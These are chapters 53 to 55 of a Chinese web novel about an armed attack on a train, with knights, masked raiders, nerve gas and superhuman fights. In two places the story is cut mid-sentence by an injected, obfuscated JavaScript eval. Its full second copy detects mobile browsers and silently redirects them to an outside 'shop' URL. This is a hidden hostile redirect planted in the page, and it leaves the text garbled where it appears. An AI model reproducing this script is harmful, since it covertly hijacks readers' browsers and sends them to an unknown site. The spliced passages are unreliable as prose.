乘客们此时彻底陷入恐慌,人们纷纷冲向车厢门,想要逃离车厢,但不知何时,车厢门以经被那个面具人锁死了。人们无助地哭嚎着,胡乱敲打着门扇,但没有人应声。而乘客们也越来越无力,逐渐放下拳头,倒在地上。 玉明珑也吸进了不少烟雾,她倒在地上,一边咳嗽一边干呕,好几次差点被其它乘客踩到。黑猫抱起她,回身向三号车厢奔去。 但三号车厢的门也紧紧锁着。 眼镜男的脸出现在玻璃窗上,微笑着向他摇了摇手。 黑猫憋着的那口气不由得松了出来,然后一团烟雾接着他吸气的时候冲入肺部,进入血液。黑猫一瞬间感到眼前的视线有些模糊,手臂也似乎软软的使不上劲了。他用力踢了那车门一脚。 眼镜男仍旧微笑着,一言不发地,透过玻璃窗看着他。 53.启明号列车11 在列车紧急制动开始的时候,齐明羽还在枢机主讲的车厢里确认计划的最后一步。他负责枢机主讲程光颢的安全已有三年,但制定袭击计划,伪造现场,还是第一次。 这次的计划,是大概凌晨时分,枢机主讲接到内城情况的报告后,在房间里一直思考,最终在前往内城之前,才跟齐明羽定好的。但眼下要将玉家人牵扯进来,他还没有什么头绪。虽然他之前吩咐自己的部下,如果有机会就把那两个玉家人叫到前面车厢里来,但他仍然没有跟枢机主讲商量好,应该怎么处理。 然后列车的紧急制动程序就启动了。红灯亮起,齐明羽靠着铁臂硬生生抓着扶手,算是好不容易才稳住了身子;枢机主讲则稳稳坐在沙发上,若无其事;只是没有准备的研究员和仪器都已经乱七八糟了。 列车停下之后,齐明羽扶起枢机主讲,安排自己手下赶来护卫。但枢机主讲却要他把玉家人先带进特等车厢,同时守好车头,以最快的速度重新启动列车。 一切以计划为重。绝不能让“圣女”离开这辆列车。 于是他就执行了枢机主讲的命令。 他让一队手下把玉家的两个人带到车厢来,最好是让那个黑大个动手,这样后面就可以证明他参与了袭击。另一队则守好关键位置,防备有人突袭。 然后他自己则离开枢机主讲的车厢,前往车头。 “老总,现在的情况比较复杂。”看到齐明羽来到车头,两个司机苦着脸解释道。“现在十多个车厢都有烟雾报警,看起来不太像正常的火灾,根本不知道是怎么回事。我们正在想,是不是火警系统故障了。” “没有。只是一些不法之徒故意制造情况而已。你们有没有什么办法尽快把车子重新开起来?” “紧急制动是跟火警系统关联的,在火警系统开启的情况下,是不可能开车的。最好的办法是等烟雾消散……” “你没听到吗?车上有歹徒!现在没有那种时间。必须马上开车。” 两个司机对视一眼,答道:“但如果切断火警系统,那么或许可以开车,只是一旦真的起火……我们可能无法及时发现并停车。枢机主讲大人正在车上不是吗?那样的话,后果或许会很严重,因为无法灭火的话——” “让你们干什么,你们就干。‘切’和‘断’你们哪个字不懂,我可以现在就教你。”齐明羽拔出剑,插在驾驶室的地板上。 两个司机不敢争论,只得拆开仪表盘,切开火警系统与动力系统之间的控制电缆。齐明羽就站在旁边看他们干活。他也不敢离开,因为车头这种关键位置,通常也是袭击的重点目标。歹徒随时都可能攻击这里。 他只能留在驾驶室里,用头盔里的耳机,听自己两队部下之间的对话。 “现在2号车厢的情况比较复杂,很多乘客都受伤了。” “有人似乎下车了。他们在往我们这边来。” “我和张宇帮这些人一把,李子和小王去前面看看情况。” “不止一个人。他们似乎拿着什么东西。怎么办?” “我看到目标了。目标正在战斗,似乎他们自己之间起了冲突。王澄甫,你去把那小姑娘带回去,我掩护你。” “看看情况。准备阻击。” “坏了!被发现了。你先走!你先走!” “咳!咯……咯咯……” “不要让他们靠近车厢,拦住他们!拦住他们!” “李子?你怎么了?小王,怎么啦?” “停!停下!在你右边!” “你先走!你先走!” 嘈杂的话语夹杂着接连不断的枪声,以及一种奇怪的吱吱声。 一阵喘息之后,世界归于静默。 怎么了? 齐明羽想要出去,但他的脚却挪不动地方。外面到底发生了什么?他的人到底怎么了?两个小队,八名带甲近卫骑士,即便是面对赛德之前说的,二十人的队伍,也不会这么短短几分钟就被消灭。 更何况他根本不相信会有二十人的队伍混上火车。虽然昨天卡比利亚内城上空空降了不少人下来,但从战果统计上看,绝大部分敌军都被俘虏或击毙了。 虽然车站上车时闹出了一些小乱子,但他检查过售票情况,并没有太多人在发车当天临时买票。 当然,也或许的确是有不少人混了上来。但近卫骑士的护甲防御实弹武器或能量武器的效果要比前线部队装备的还好。训练也更完善,测试成绩也更好。 没有道理会是这样的结果。 冷汗从齐明羽的后背涔涔而下。 不管怎么说,有一点他无法否认。 那就是:已经很长时间没有过这么大胆的匪徒来袭击枢机主讲了。 他也的确很长一段时间没有实战了。 他有点怀疑自己到底还行不行。 在他的同侪无法撑过短短几分钟的情况下,他一个人能扭转局面吗? 他行吗? “行了!”司机叫道。“老总,现在开车吗?” “开!开!开车!”齐明羽的声音不由得变得尖锐起来。他想尽快离开这个地方,好像如果能早一点赶到原定计划的地点,事情就能马上结束一样。 仪表盘亮了起来。发动机嗡嗡作响,力量顺着齿轮、连杆传到车轮上,带着二十多节车厢缓缓向前。齐明羽紧紧抓着他的剑柄,望着车头前方的铁轨渐渐变成两条模糊的直线。车已经开起来了。 他总算是完成了一件任务。现在他可以回去了。不管怎么样,枢机主讲的身边,才是他必须坚守的岗位。 “你们把这扇门锁好,无论如何都不能打开。可能会有歹徒想进入驾驶室,或者用电台给你们下命令,但你们不准听任何人的指示。”齐明羽对司机说。虽然他们的命运终究不过是死亡,但不能让那一刻提前到来。“无论如何不能放他们进来,也不能听他们的命令。否则你们就是死。这道门很结实,所以到石岗城之前,他们不可能打得开这扇门。懂了吗?” 司机们显得有些惊恐,忙不迭地点头答应。 齐明羽走出驾驶室,听着身后反锁车门的声音,然后握着剑柄,回到枢机主讲的车厢。 然后他就看到了姜原。 齐明羽一下子就认出了这个昨晚出现在卡萨兰卡剧院包厢里的人。 “你怎么在这里!”齐明羽壮胆似的大声喝问。 “你回来了,”枢机主讲说,“这样正好。你那些部下都不知道在干些什么,怎么还没有把那两个玉家的人带过来?” “这……似乎情况有点不利。大人。” 枢机主讲失望地叹了口气。尽管周向青大概已经听不到他在说什么,但枢机主讲还是对玻璃柜里的周向青说:“这也就是我跟你说的情况。内部地区的年轻人缺少经验,既不知道战争意味着什么,也完全没有承担这种严峻形势的能力。稚嫩的青年人只会发泄情绪,而帮助他们成长,就是我们的责任。齐队长,你陪陪这位客人,让他好好休息。我去后面看看情况。” “但……大人!”羞愧的情绪涌上齐明羽的脸。 枢机主讲摇了摇头,向后面的车厢走去。 姜原伸手想要拦阻。但他还没来得及开口,细剑的剑刃就已经破空刺到。他急忙闪过这一击,而枢机主讲也就借机离开了车厢。 “喂,你们主讲明明说要请我休息,你就这么拿刀捅我吗?”姜原急忙躲到玻璃柜后。 齐明羽提着细剑,想要绕过去进攻,但脚下的东西实在太多。除了在刚才刹车时掉到地上的物品,还横七竖八地躺着几个研究员,还有刚从椅子下滑出来,不知是死是活的赛德。 他跨过茶壶的碎片,嘴里说道:“你不用躲了。没用的。只要程光颢大人出手,你们只有乖乖就擒的份。” “哦?倒是看不出他有那么厉害。”姜原回答。他才不想束手就擒,何况他现在还正带着那盒文档。 “程光颢大人成绩优异,战功卓著。他转入中央是继承父亲的职位,像你这种人比不上他一根毛。”齐明羽冷冷地说。 “哦,那他的毛可真了不起。”姜原一边说话,一边思考。周向青必然不会主动进到这个玻璃柜里,所以肯定在附近有控制台,或是遥控器。他看到对面墙上似乎有两个并不同于电灯开关的按钮。只是那里正在齐明羽的攻击范围内。“只不过,统修会的领土不是一直在缩小吗?”他有意向另一侧跨了一步。 “你又知道什么了?!”齐明羽跟着绕了过来,于是姜原一个转身,始终维持自己跟齐明羽之间隔着那个玻璃柜。“那是因为军方太过懦弱!” “嗯,所以用陷阱捕捉一个仿生人,还真是勇敢的行为咯。” 齐明羽大怒,他出剑去刺,但理所当然地刺了个空。姜原反倒用机械爪捡起地上的一个电路板,向齐明羽扔了过去。他在考虑,系统启动需要时间,而他应该把齐明羽引到攻击不到他的地方,然后用发泡弹黏住双腿。发泡弹就是姜原之前用过武器的改装,他在储液瓶上装了击发装置和□□,会在爆炸时放出大量迅速凝固的泡沫。 但那个面板并不一定是玻璃柜的控制台。就算是,也不见得可以用。 齐明羽心里则在考虑完全不同的事。从他在通讯系统中听到的情况看,他的部下不知遭遇了什么,但大概也难幸免。而这辆列车则在不断加速,驶向一个早已准备好的死亡陷阱。 他毫不怀疑枢机主讲大人出马之后可以收拾那些宵小……但他也曾毫不怀疑他带着八名近卫骑士可以抵御敌人一个连队的进攻。现在的情况真的让他搞不明白。他只想尽快把姜原收拾掉,然后跟上枢机主讲大人。 但眼前这个家伙像是长了章鱼脚的猴子一样,在垃圾之中跳来跳去,一面还不停侮辱他景仰的枢机主讲大人。他心中那个“尽快追上去”的愿望不断躁动,但他又不能留下这只猴子跟圣女呆在一起。 齐明羽拔出折刃。他准备跟眼前这个敌人肉搏了。这个敌人明显除了一些废话之外,没有任何攻击性。那两个机械爪顶多不过是两只人手罢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一,除了墙壁上那个按扭外,似乎没有别的按钮; 二,这里没有能帮助他打破玻璃柜的东西,连一把破窗锤都没有。可能枢机主讲大人用不着那些世俗的东西吧。 如果那样的话,那么他唯有尝试那个按钮了。 但就在此时,一个穿白袍的研究员从后面跌跌撞撞地扑上来,抱住了姜原的肩膀。 姜原眼见齐明羽正跨过沙发向自己冲来,只得扔出那枚发泡弹。 齐明羽的双腿沾满泡沫,一时迈不动腿,摔倒在地。姜原用机械爪勒住那个研究员的脖子,把他甩到一边,三步并作两步来到那个按钮前,重重拍下。 滴—— 一声蜂鸣过后,没有任何动静。 姜原又按了一次。 滴—— 仍然没有任何动静。 此时齐明羽已经砸开了凝固的泡沫,剑刃直刺姜原的后背。姜原躲闪不及,但剑尖刺中的却是他背后机械爪的控制盘,剑刃一弯,折断了,另外半截剑刃卡在控制盘里,切断了几根电缆,短路的电流一部分传到姜原身上,他身子一麻,扶着墙半跪下去。 齐明羽抛开断剑,左手去抓姜原的衣领,右手一拳打向姜原胸口。姜原忍痛一脚蹬上齐明羽的小腿,蹬得他一个踉跄,那一拳打偏在姜原身边的墙壁上,折刃登时在墙上戳出一个深洞。 姜原见状,一把抓住齐明羽的左手,电枪的两个电极刺进齐明羽的手套。一股电流通过齐明羽的身体,左半边身体不由得抽搐起来。 姜原趁这时候从齐明羽手中扯出自己的衣服,逃开两步,解开扣子,脱下半边袖筒,用大衣裹着,反手拔掉那半截断剑,丢到一旁。 他现在已经有了一个主意。他试了试机械爪,大概有两根的电缆被切断了,但不碍事。 齐明羽扶着墙,摇摇晃晃地站了起来,从墙内拔出折刃,回过头,恶狠狠地看着姜原。中电的酥麻感还没完全消失。 姜原退了一步,背靠在玻璃柜上,嘲笑道:“堂堂的近卫骑士,打架居然还要一个研究员搭把手的吗?” 齐明羽怒吼一声,这次他并不再用左手去抓姜原的衣领,而是直接一拳直冲姜原前胸。在如此近的距离,铁臂的拳速不是常人可以避过,但姜原也算是早有准备,他靠的不是自己的肌肉,而是让提前伸出的机械爪硬生生把自己扯开了半个身位。 齐明羽的一拳打在玻璃柜上。折刃的尖端穿透了玻璃柜。一粒碎玻璃射进绿色的电离胶,慢慢沉到了玻璃柜的底部。但玻璃柜中胶状体的表面张力太强,而那玻璃也是中间夹着数层纤维的强化玻璃,玻璃柜仅仅是多了一个裂痕,并没有因这一拳而破裂。 但姜原诱使齐明羽打这一拳,原本也并不指望能打碎这个柜子。 打出这个小洞已经足够。 姜原拔出电枪的电极,对准那个小洞,用全身的力气把它拍了进去。 齐明羽也隐约意识到了姜原想要干什么。他的折刃交到左手,右手一把揪住姜原的衣领,往后一扔。 姜原的身体高高飞了起来,撞上车厢的墙壁。但他在空中时便已扣动了扳机。电弧顺着长长的导线射向电极,在正负极之间产生了一个5万伏的电压,而整个导电胶体也因此变成了一个稳定电场。 齐明羽的左手握紧折刃,第三次插向姜原胸前。 蓝光一闪。 整个玻璃柜炸裂开来,碎片四溅。 54.启明号列车12 原本的计划是这样的。 新加入的姜原去控制车头驾驶室。王西凤和郑小楼把“那一个半人”堵在3号车厢里。关铁震、白少俊、马延仙用神经毒气放倒特等车厢的骑士,然后再切断车厢连接,重新启动车头,前往预定的撤离地点。 原本的计划是这样的。 “但谁想得到那帮家伙居然有那么可怕的东西啊!”关铁震躲在车厢的连接处喊道。 “你这个废物老大,你不带头冲,这不是等死吗!”白少俊喊了回去。 但不管怎样,他们谁也不敢硬冲。 因为防守特等车厢的紫袍骑士们装备了一种他们从来没有见过的新武器。虽然看上去只是一把比较大的弩弓,但射出的箭矢却不同寻常。 刚才关铁震带着白少俊各从一侧包抄,准备把毒气弹射进车厢时,反而被警戒的骑士先看到了。骑士出声报警,同时举弩弓便射,箭矢正中关铁震手中的突击步枪。箭尖上的不知什么东西钻到了枪里,嗤嗤有声,随后整把枪像是长了毛,一些细细黑黑的东西从里面钻了出来。关铁震急忙把它扔到一边,只见那枪没一会就被腐蚀得千疮百孔。 他和白少俊只好躲在车厢连接处的凹陷里。这里是骑士们射击的死角。 但骑士们也不急于从车厢里出来围剿他们。他们只是保持一定程度的火力压制,时不时发射一支弩箭,擦过他们藏身的地方,落到远处铁轨下的草丛中。他们只是在等待列车重新启动。 “如果再拖下去,情况可就不妙咯!”白少俊叫道。 “我也知道啊。但我可不想被那玩意打中,浑身长毛,毛手毛脚,可不是好玩的!” “毛手毛脚……你到现在还开什么玩笑!你就没有任何办法吗?而且如果他们重新开起车头怎么办?” “我倒是也想有办法啊!要不你踩着我的肩膀,到车顶上去!” 又是一支弩箭射了过来。 关铁震和白少俊拼命把自己的身体贴紧车体,生怕那弩箭尖端的东西沾上自己的身子。 但此时却有一个人从3号车厢里施施然走了出来。 那人脸上戴着一张煞白的面具,个子高高瘦瘦,穿着皱巴巴的商务套装,宛如上班时间在地铁站卧轨的幽灵。他不知是什么时候,也不知是从哪里冒出来的,只是慢悠悠地穿过枪林弹雨,向特等车厢走去。 关铁震和白少俊惊讶地望着他,就像见到鬼一样。 因为他们认得那张面具。那是郑小楼的面具。但现在他们看到的人绝对不是郑小楼。 如果这面具是从郑小楼脸上剥下来的——那……郑小楼怎么样了? “喂……喂!你是谁?”关铁震在枪声中喊道。 但那人并不回答,就像是没听见一样。 骑士们显然也看到了他。他们开始向他开火。但不知是什么缘故,子弹似乎总是无法命中。那个人仍然一步一步地靠近骑士们的车厢。 骑士们向他射出弩箭。弩箭飞出、落下,掉在远处的草丛中。 关铁震和白少俊的四只眼睛盯着弩箭的轨迹。它似乎是穿过了那人的身体,又像只是穿过了那人手臂与身体之间的缝隙。 他们看不清楚。 或是说,他们搞不清到底是怎么回事。 骑士们又射出一箭,但似乎又偏了一点。弩箭再次飞到远处的草丛中了。 但那人已经走到关铁震和白少俊的身边。他一扬手,一个扁圆型的东西向着特等车厢飞去。它并不像是炸弹、飞盘,或是任何常见的东西。它飘飘摇摇地穿过车门,飞进车内。 整个过程没有任何声音。更遑论是爆炸、火焰、闪光之类了。 但并非没有任何效果。 刚才把守着车厢门的紫袍骑士们像是突发了什么大病一样,他们争先恐后地跳出车厢,挣扎着、扭动着,向前奔跑,然后逐一倒在地上。 关铁震愣住了。 他回头去看那个戴着白面具的人,但那人却不知所踪,就好像从没出现过一样。 白少俊也是同样的震惊。他们两个你看看我,我看看你,都搞不清到底发生了什么。 “我们……过去看看?”关铁震问。 他们两个人端着枪,慢慢走向特等车厢。 车厢里还有一个骑士。他也和其他人一样,倒在地上一动不动。关铁震踢了他一脚,把他的身体翻了过来。只见那骑士的右手也像刚才关铁震丢掉的枪支一样,上面长满了黑色的纤毛。 “果……果然变得毛手毛脚了。真是见了鬼。”关铁震退开两步,秃头上也冒出冷汗。 “那是骑士的铁臂。那毛毛大概对金属的东西有反应。”白少俊说。“你看,他铁臂上那些像肌肉一样的纤维都松开了。” 关铁震打了个寒颤。“别老是铁啊铁啊的,真不吉利。不管他到底是什么人,反正看样子并不想杀我们。咱还是赶快找到东西,然后集中到车头去。”他用力抬起腿,跨过骑士的身体,生怕碰到那些黑色的细毛。 特等车厢里大部分座椅都已经拆掉,如今只是放着一些箱子。关铁震撬开一个木箱,发现里面只是一大堆文档。 “不是这个。”关铁震说。他准备去撬开另一个箱子,但此时马延仙张张皇皇地跑了过来。 “不好啦!小郑晕过去了,她的面具也不见了!” “她人呢?”关铁震算是替她松了一口气。人还活着就好。 “还在车厢里。” “那两个目标呢?” “在2号车厢里。已经用毒气封死了,过一会我们再进去。小王说他去照顾小郑,让我来找你们看看情况。”马延仙说完,才看到地上躺着的骑士。他看到那情况,吓了一跳,然后双手合十,鞠了一躬,念道:“往生极乐。” “我们赶快找,找到就能走了。哟,说不定就是这个。”关铁震说着,又撬开一个箱子,从里面拿出一个裹着布的圆筒。他扯掉裹布,只见那是个玻璃罐中装着一只骑士铁臂,正是让娜在大博物院看到的那一只。只不过,这一只铁臂的仿生肌也都松开了,一些黑色的纤毛从上面长了出来。 “诶呦我的娘欸!”关铁震一哆嗦,松手把罐子掉在地上。 “你干什么啊?”白少俊骂了一句,向箱子里张望。“妈的,什么都没有!这怎么回事?” “怎么,没有要找的东西?”马延仙问。 “不对呀?王西凤明明说,目标是装有玉家最新研究成果的箱子。难道是这堆纸吗?”关铁震从木箱中拿出一摞文件,看了看,扔到地上说:“但这也不是玉家的啊。这是统修会的。” 白少俊皱眉道:“所以那研究成果到底是什么东西?总说过这个吧?” “也是这种活化机械衍生的东西。”关铁震踢了那个罐子一脚,罐子咕噜噜地滚向车厢的另外一边。“妈的,王西凤那个废物,他死活不说我们要找的东西是什么样子,我就知道要出问题!” “哦——嗯,不知道……” “怎么,马老爷子,你有想法?” “刚才我看到,被毒气困住的那两个人很奇怪,一个长着猫耳朵,一个有龙尾巴,我在想,会不会——” “就是那个!”关铁震一拍大腿。“妈的,没想到他们把东西带到身上了。早知道就不费这个劲,跟——怎么回事?” 他的话还没有说完,列车晃动了一下。 然后“嗤——”的一声,车厢门关住了。关铁震扑过去想要拉开门,但他根本找不到可以下手的地方。而且车门旁边也没有按钮。 列车开动了。 “那小子,这点事都办不好!”关铁震恨恨地一拳砸上车门。 白少俊则在一旁冷笑道:“我早跟你说了不是?那家伙怕是别有目的。” 马延仙劝道:“别急,别急。肝火旺对眼睛不好。反正他们都在2号车厢,中了毒,不可能跑得掉。我们只要回收了任务目标,再重新拉手动刹车,把车停下就好。最难的部分已经完成了。”他看了看那个骑士,又说:“但我感觉这好像不是你们干的啊?” “别问,我也不知道是什么情况。反正已经这样了。我们先去回收东西。”关铁震说着,伸手拉开特等车厢与2号车厢的连接门。冷风透过王西凤之前打开的洞,呼呼地灌了进来。关铁震打了个哆嗦,去拉连接门,但拉不动。 “这门锁着呢。”马延仙道。 “对,我倒忘了。”关铁震掏出通讯器,叫道:“喂,你上哪去了?来开门!” “我在招呼小郑呢!但车怎么突然开起来了,这到底怎么回事啊?”王西凤也在另一边大喊。 “小郑怎么样了?我们没有钥匙,过不去!” “她还好,醒过来了。我马上就过去。你们先把车头拿下!” “好,那我们先去车头看看。反正骑士已经都被我们解决了。对,都解决了。所以你弄完以后,就跟小郑一起过来。” “哦——都被你们解决了啊。”车厢里响起一个阴沉沉的声音。 关铁震 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156811|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猛地回过头去,看到车厢末端站着一个穿着统修会长袍的中年男人。那人慢悠悠地弯下腰去,捡起了脚边装着铁臂的玻璃罐,打量着里面蠕动的黑色纤毛。“这也是你们弄的?”那中年男人问道。 “别乱动,我们懒得杀你。”白少俊举枪指向那个人。 “看来不像是你们。”那中年男人把罐子放在旁边的木箱上,然后在房间里东看西看,最终在角落里捡起了一个黑色的扁圆型物体。 “这玩意是谁弄进来的?”他轻轻一捏,那扁圆物体冒出一股烟,而纤毛也停止了蠕动。 关铁震明白,大概那就是那个如鬼似魅的家伙的武器。但眼前这个自行其是的家伙,却让他更加紧张。他虚张声势道:“对,就是我们!你别动了!不然我就开火!” 马延仙一头雾水:“什么玩意?你们在说什么?” “看来我是浪费时间了。”那个中年男人叹了口气,摇摇头,走到关铁震身边,说了声“借光”,便继续向前走去。 白少俊把枪口顶上那男人的后脑勺。“你去哪?不要看不起人!” “哦。也是。虽然我这几个手下不是你们干掉的——但这些箱子却是你们打开的。所以我还是应该‘看得起’你一下。”中年男人转过头来,问:“那,你想让我怎么看得起你?” 白少俊大怒,掉转枪托,便向那中年人头上砸去。但他这一砸只是砸了个空,对方只是动了动手腕,那枪却像变魔术似的转到了对方的手里。中年人双手连动,咔咔几声,那把钢铁制成的武器就像积木一样散落在地。关铁震抬起枪口,却一时无法扣动扳机。白少俊跟那男人站在同一条线上。 在他犹豫的一瞬间,对方的手已经按上了枪管。枪械的组件纷纷散落在地,叮叮当当地,下了一阵金属的雨。中年男人回过身去,看着正举起一根注射器靠近的马延仙,道:“省省吧,大爷。” 马延仙的手臂慢慢耷拉下去。 “你们两个,把我的东西收拾好,谢谢。”中年男人对关铁震和白少俊说。 “呃,好,好。”关铁震茫然点头。 中年男人继续向前走去。 “喂!等等!”关铁震突然喊道。 “又怎么了?”那中年男人回头道。 “2、2号车厢里有神经毒气,你……你最好还是别过去。”关铁震说。 中年男人眨了眨眼,显然是没有想到关铁震会说出这样一句话。 关铁震又说:“还有,我们没有过去的钥匙。” 中年男人看了看他们三个人,问:“你们那个面具,是有防毒效果的吗?” “是。是。”关铁震伸手想要把面具摘下来,但那中年男人阻止了了他。 “你们戴着吧。我不想看到你们的脸。” “说的也是。您不知道我们什么样子比较好。”关铁震挠头笑了笑。 那中年男人没有说话,只是转过头,用两根手指拧开了列车的三角形门锁,开门出去了。 “喂,你告诉他干嘛?那边有神经毒气,他吸了正好把他放倒,省咱们多少功夫!”白少俊悄声说。 “是哦。”关铁震一拍自己的光头。“我没想到。要是没告诉他就好了。” “但小关,人家也没要咱们的面罩啊。”马延仙说。 关铁震省悟,只好三个人一同蹲下来捡拾地上散落的文件。有几张文件被他们踩了好几个脚印,关铁震把它按在胸口擦了擦,跟其它文件放在一起。文件都放回原位后,白少俊钉上了箱子的木板,他们才算是松了口气。 过了一会,关铁震突然说:“但那个人应该是他的敌人吧。” “你说他啊。”白少俊点点头。“应该是吧。” “哪个?”马延仙问。 “刚才有个家伙,戴着小郑的面具,然后一下子把这些骑士都弄倒了,然后一下子就不见了。真是见了鬼。” “还有这么个人吗?”马延仙惊道。 “唉。总之,都是妖怪。他帮我们跟骑士做对,算是同一边的。希望他们斗个两败俱伤,我们可以捡漏。正好,刚才那个穿袍子的家伙也没看咱们的脸。我们还有机会。”关铁震说。 白少俊想说什么,却睁大了眼睛,欲言又止。 “怎么啦,小白?”马延仙问。 “关老大,王西凤刚才是不是说要过来?”白少俊说。 “是,怎么了?” “那样的话,王西凤和郑小楼岂不是……正好会遇到那个家伙?” 55.启明号列车13 黑猫觉得自己快要晕过去了。 刚才吸过一口毒气之后,他就一直屏着呼吸,但毒素仍然在不断侵蚀他的意识。 两头的车门锁得很紧,他打不开。不知是毒素,还是眼镜男那张微笑的脸,让他想吐。他感觉自己现在就站在悬崖边上,只要随便一动就会掉下去,但他却又偏偏摇摇晃晃地站不稳。 他抱着玉明珑,跌跌撞撞地走了两步,把她放上旁边的座位。随后一头顶在车窗上,眼前的地面不断抛开他们移向远方,连成一片灰色。 黑猫集中最后的一点意识,一拳打上窗角。 车窗上布满裂纹。他的猫爪在强化玻璃上仅仅凿开了几个小孔,空气从这几个空中流过,嘶嘶作响。这足以让他看到希望。黑猫深深吸了一口气。他需要这点氧气,至于毒素也就随它去吧。他再次挥出一拳,猫爪穿透玻璃,往下一拉,把它变成了无数碎掉的颗粒。 一瞬间,他的耳边充满了空气被列车撕开的呼啸。 他的头有点痛,但神经毒气开始被气压吸出窗外,同时更多新鲜的冷风灌了进来。黑猫扶起玉明珑,让她趴在靠窗的椅背上,多呼吸一点新鲜空气。玉明珑抽搐了一下,开始呕吐。 黑猫慢慢拍着她的脊背。玉明珑吐完之后,似乎是好了一点。黑猫去洗手台前接了水,虽然这水不是用来喝的,但他还是让她稍稍喝了一点,然后擦了擦她的额头。玉明珑喝完,昏昏沉沉地又睡了过去。 黑猫算是松了一口气。他望向通往3号车厢的连接门,想看看那个眼镜男还在不在那里。但那里如今只有一个小小的人影。但的头仍旧隐隐作痛,视力也没有恢复,根本看不清那到底是谁。 他走向连接门,渐渐看到那小小的人影似乎是个女孩。应该是小姐新认识的女孩。那女孩似乎在说什么,但黑猫听不清楚。风声实在太大,而车门的隔音又太好了。所以他摇了摇头,表示自己听不到。 但那女孩却一瞬间又不见了。 因为对面的最远端似乎有什么东西在动。 黑猫急忙藏到门后,探头窥视。那是两个人影,正慢慢向黑猫这边走来,越走越近。他看不清对方,但能猜到,很可能是之前在前面发动袭击的,戴着鸟脸面具的人。他一定跟之前的白面具是一伙的。他们一定是认为他们都昏迷了,来收获战果。 黑猫无处可逃。列车已经加速,跳车是不可能的。而在如此狭窄的地方,主动出击也胜算不大。而对方上次中过他的偷袭,这次只会更加谨慎。更重要的是,他现在的身体状态非常之差。时间和空间都不允许他做出更周密的计划。 他唯有冒险而已。 门锁一响,车厢门被人推开了。对方并没有急着进来,而是仔细观察了一段时间。尤其是一扇窗户已经被打破,呼呼的风声灌满整个车厢的情况下。 黑猫躺在地上,闭着眼,一动不动。 他只有赌对方不会马上开枪。 最后,鸟脸面具人进来了。他用枪指着躺在地上的黑猫,随后大声指挥后面进来的队友去查看蜷缩在座椅上的玉明珑。 “窗子怎么破了?”后面进来的女人惊问。 “这家伙打破的。还好把车开起来了,不然他肯定跳窗跑了。不过就算那样他也跑不远。哼。现在还傲不傲气?”鸟脸面具照着黑猫的脑袋狠狠就是一脚。 黑猫哼都不哼。 “看来是没有意识了。你把他的耳朵取下来。那是要回收的东西。然后我打爆他的脑袋。可惜了,我真想看看他害怕的眼神。” 那个女人蹲了下来,松开挎着的冲锋枪,对着黑猫的耳朵伸出双手。 黑猫原本瘫软的左手突然从地上弹起,捏住了女人的喉咙,同时右手握住她胸前的冲锋枪,从女人腋下对准鸟脸面具的前胸扣动扳机。 伴随着突突枪声,鸟脸面具的前胸喷出一串血花,倒了下去。而女人的颈动脉被黑猫捏住,一时脑部缺血,瘫软在黑猫身上。黑猫推开那女人的身体,正要爬起身来,却听到前面的车厢门喀拉一响。 黑猫猛地翻身,滚到旁边的座椅后面,把枪口对准来人。 “真是没想到啊。玉启烟的贴身侍卫,居然逼停火车,杀害近卫骑士,挟持人质,还意图袭击统修会的最高成员。这么严重的叛国行为,是为了什么呢?” 来人慢悠悠地说道。 黑猫觉得这个声音他曾经听过。他用力眨着眼睛,但只能看到前方那一团红色的影子。 那应该是对方穿的衣服,但他看不清上面的花纹。更看不清对方的脸。 “你是什么人?”黑猫大声质问。 “你不认识我?”来人问道。 “我孤陋寡闻,总共也不认识几个人。”黑猫回答。他不想让对方知道自己看不清东西。 “我就是程光颢。”那人说。“也就是你这次袭击的目标。你可以记住我的模样,以免到时候再忘记。” “原来是枢机主讲大人。您本人跟电视上不太一样,我都没认出来。但您手下的近卫队无故要绑架我家小姐,是什么意思?”黑猫问。他说到这里,下意识看了一眼玉明珑。他最好还是尽快带她去医院。 “我只是想请你们尽快到我的车厢来坐坐,免得被歹人所伤。大概这些人跋扈惯了,手段激烈了一点,也怪我有失管教。” “你,你到底想干什么?”黑猫皱着眉,眯着眼,拼命想要看清对方脸上的表情。他什么都看不清楚的时候,既无法捕捉对方的意图,更无法像平时那样冷静。而这辆车上又的确有不少敌我难辨,而且带着杀意的人。 他必须把大小姐安安稳稳地送到石岗城。 “想让你跟我来一趟,仅此而已。来吧。”枢机主讲向黑猫伸出手来。 “好吧,但你得保证小姐安全。” 黑猫在说出这句话时,对准那人影扣下扳机。 枢机主讲手掌一翻,掌心向前,中央现出一个黑色的圆洞。呼啸着飞来的子弹在那黑洞正面的力场中逐渐失去速度,开始下坠。枢机主讲伸手一抄,便将那些子弹抄在手心,然后摊开手掌,微微倾斜,让弹头噼里啪啦地掉在车厢的地板上。 “何必呢?”枢机主讲说。 黑猫感到一股股的寒意在他的脊背上肆意奔流。他不知道敌人还有多少,这趟看似简单的旅程要到什么时候才能结束。他看不清眼前的这个人,他也看不清今天接下来还会发生什么。 他像是要驱开心中芜杂的念头一样大吼一声,扔开手中的冲锋枪,然后向面前的这个人冲去。 然后他就像冲进了黑暗中一样,失去了意识。 ### 黑暗中亮起一道电光。 装着周向青的玻璃柜在通电的瞬间炸裂开来,就像是从车厢中心向四周下了一场电离胶的暴雨。 而齐明羽右手铁臂的仿生肌纤维突然一跳,像是活生生的蚯蚓一样离开了金属骨骼,重新拧成一条黑色的蛇,盘紧了他的左臂。尽管折刃的尖端已经顶上姜原的胸口,但无论他如何用力,都无法再进一步。 姜原的身子慢慢滑了下去,离开了刀刃的范围。 齐明羽的额头渗出涔涔汗水。他感觉不到自己的右臂。他的半边身子空荡荡的,似乎那里已经什么都没有了。 他不敢扭头去看。他只怕自己看了,就不得不接受这个事实。 他加入折刃骑士团这些年来,第一次经历这样的事。 